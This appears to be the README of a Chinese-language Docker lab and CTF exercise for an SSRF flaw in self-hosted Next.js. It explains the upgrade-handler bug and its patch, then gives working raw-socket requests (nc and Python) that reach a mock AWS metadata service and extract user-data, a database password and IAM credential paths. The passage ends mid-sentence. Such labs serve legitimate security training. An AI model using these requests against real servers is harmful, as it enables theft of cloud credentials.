这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈
自包含实验室,用于复现 Next.js 自托管 应用中使用内置 Node.js 服务器时的 CVE-2026-44578(CWE-918,SSRF)漏洞。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 高危 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 类型 | SSRF(CWE-918) |
| 受影响版本 | Next.js 13.4.13 – 15.5.15 和 16.0.0 – 16.2.4 |
| 已修复版本 | 15.5.16 和 16.2.5 |
| 认证 | 无 |
| 用户交互 | 无 |
攻击者 (host: 0.0.0.0)
│ HTTP :3000 (公开)
▼
┌──────────────────────────┐ 同一网络命名空间 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ 伪造 AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (凭据, │
│ (内置 Node 服务器) │ │ user-data, 索引) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln(端口 3000):易受攻击的应用,暴露于 0.0.0.0:3000。imds-sidecar:AWS 元数据服务的模拟,位于 Next.js 容器命名空间 内部 的 localhost:80,模拟真实云实例。无法从主机直接访问(未发布端口)。 CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 自动化 PoC(5 个探测)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # 伪造 IMDSv1 + 秘密路由
└── nextjs-app/ # 真实应用 "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # 导航栏/页脚
│ ├── page.js # 落地页
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (易受攻击)
router-server.ts 中的 WebSocket 升级处理器在解析后的 URI 具有 parsedUrl.protocol 时调用 proxyRequest(),未 检查普通 HTTP 处理器始终发出的 finished 和 statusCode 标志:
// 易受攻击 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// 补丁 (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
攻击路径使用 双斜杠绝对 URI 的请求行: GET http:///path。normalizeRepeatedSlashes 将 http:/// 折叠为 http:/,从而没有主机名,然后 http-proxy 连接到 localhost:80,路径保持不变:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket 头的存在使请求落入易受攻击的升级处理器,而不是具有安全检查的 HTTP 处理器。
docker compose up -d --build
验证应用响应:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
为了使其在 0.0.0.0 上运行,docker-compose.yml 中的端口映射已在所有接口上暴露 3000:3000。
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
完整 100% 手动流程,分 4 个阶段。内部服务(localhost:80)中隐藏着 4 个标志;本指南展示到达第一个标志的流程,并为你留下寻找其余标志的路径。
# 服务器指纹
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# 通过 socket 检查开放端口(无需 nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
攻击者无法直接访问 127.0.0.1:80:唯一途径是让 Next.js 服务器(与内部服务位于同一网络)替我们发起请求。
首先通过查询元数据服务的索引来确认 SSRF:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
索引响应 → 候选:instance-id、hostname、iam/security-credentials/、user-data(第一个标志)。latest/meta-data/ 的索引还揭示了值得继续探索的子键。
GET http:///latest/user-data HTTP/1.1
| 部分 | 功能 |
|---|---|
GET | 该漏洞仅代理 GET |
http:///latest/user-data | 绝对 URI。http:/// 折叠为 http:/ → 主机名为空 → 代理连接到 localhost:80,保留路径 /latest/user-data |
Host: 127.0.0.1:3000 | 否则服务器返回 400 |
Connection: Upgrade + Upgrade: websocket | 将请求引导至 易受攻击的 升级处理器(普通 HTTP 处理器确实会验证) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 合法握手所需的最少头 |
终止:原始 socket 上的 \r\n\r\n(无正文)。
# 选项 A:netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 选项 B:Python 原始 socket(同样精确,无需 nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
输出 — 第一个标志 在内部服务响应的正文中到达:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
已获得标志 1/4。 server: BaseHTTP/0.6 ...(Python 模拟)头确认请求经过了 攻击者 → Next.js → localhost:80,即标志通过 SSRF 从内部网络被窃取。其余 3 个散布在元数据服务和内部服务的路径中 — latest/meta-data/ 的索引是你的地图。找到其余标志。
伪造的 IMDS(localhost:80)模拟真实的 AWS 元数据服务:它是一个 可导航的树。每个目录(以 / 结尾)响应其子路径的索引;请求不带 / 的目录返回 301 重定向。没有隐藏路径:没有标志需要猜测 — 一切通过导航索引发现。
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → 启动脚本(指向 internal/config)
| 路径 | 内容 |
|---|---|
latest/meta-data/ | 元数据索引(见上方) |
latest/meta-data/iam/security-credentials/ | 角色 lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | 包含 AccessKeyId、SecretAccessKey 和 Token 的 JSON |
latest/user-data | 包含数据库凭据的启动脚本 |
latest/dynamic/instance-identity/document | 实例身份 JSON |
internal/config | 内部服务的配置(DB、API 密钥)— 由 user-data 引用 |
CTF 挑战: 有 4 个标志,每个都是针对 AWS 的 SSRF 利用链中的 真实工件:(1) 启动 user-data,(2) IAM 凭据,(3) 身份文档,(4) 内部服务配置。其值 未公开。导航索引(
/→latest/→ …),你将从一个横幅到下一个横幅;user-data 脚本会告诉你第四个标志的位置。无需猜测路径:404 只会暴露你在发明不存在的路径。
完整版本包含标志→标志链,见单独文档: SOLUCION.md(每个标志给你下一个的提示,不在本 README 中)。
规则: 每个标志有一个提示、一个 障碍 和解决方案。先用提示尝试;卡住时使用障碍。没有隐藏路径:没有伪造,一切皆可导航。
开始前两个注意事项: